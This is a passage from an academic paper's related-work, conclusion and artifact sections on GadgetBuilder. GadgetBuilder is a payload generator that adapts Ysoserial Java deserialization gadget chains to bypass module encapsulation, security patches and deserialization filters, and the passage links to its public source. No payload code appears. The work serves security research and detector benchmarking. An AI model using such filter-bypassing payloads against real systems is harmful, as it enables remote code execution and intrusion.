Strikingly, 15 gadget chain detection tools [9, 10, 12–15, 19, 29, 30, 32–34,
36, 47, 55] have been published, with 12 of those after Ysoserial ’s last update.
The insights of these works are pivotal to the design of GadgetBuilder. The
gadget fragmentation approach used by JDD [14] closely relates to our approach
of splitting up gadget chains. The main difference is that JDD relies on fine-
grained fragments to increase the efficiency of their tool. In contrast, we abstract
the concept into three components, which are more manageable and human-
interpretable. The trampoline component relates to alternate gadget chain entry
point definitions in SerHybrid [47], Crystallizer [55], and GCMiner [13].

By providing GadgetBuilder as an updated benchmark for gadget chain
detectors, we mention Gleipner [28] as a synthetic benchmark for Java gadget
chains. The authors, however, state that this benchmark should not be used as
a replacement for Ysoserial. While Gleipner ’s chains provide a ground truth for
difficulties in gadget chain detection, they cannot replace real-world examples.

In this work, we also challenge the previous assumption [21,27] that Ysoserial
payloads lose their effectiveness on modern Java versions (see Section 4).
While Münch [39] suggests adapting gadget chains with new call targets for
Method.invoke(), the idea remains untested and unimplemented in a payload
generator. With GadgetBuilder, we adapted 17 Ysoserial gadget chains to bypass
not only restrictions due to strong module encapsulation but also code-related
security patches and Java deserialization filters.

8 Conclusion

We redesigned and updated Ysoserial with a new Java deserialization gadget
chain payload generator. To do so, we split up gadget chains into three compo-
nents: trampolines, main gadget chains, and sink adapters. With this abstrac-
tion, our tool GadgetBuilder was able to reactivate 85% of Ysoserial payloads,
which fail on new Java versions. Further, we included 29 new main gadget chains,
adding up to a total of 60. In combination with GadgetBuilder ’s methodology,
these chains can be synthesized into 303 payloads. Tested on open-source dese-
rialization filters, the payload variants consistently increase the attack surface.

Overall, this makes GadgetBuilder a valuable resource for security assessment
and research on insecure deserialization in Java.

9 Artifact Availability

We share GadgetBuilder (build and source code) with the link https://github.
com/software-engineering-and-security/gadgetbuilder.
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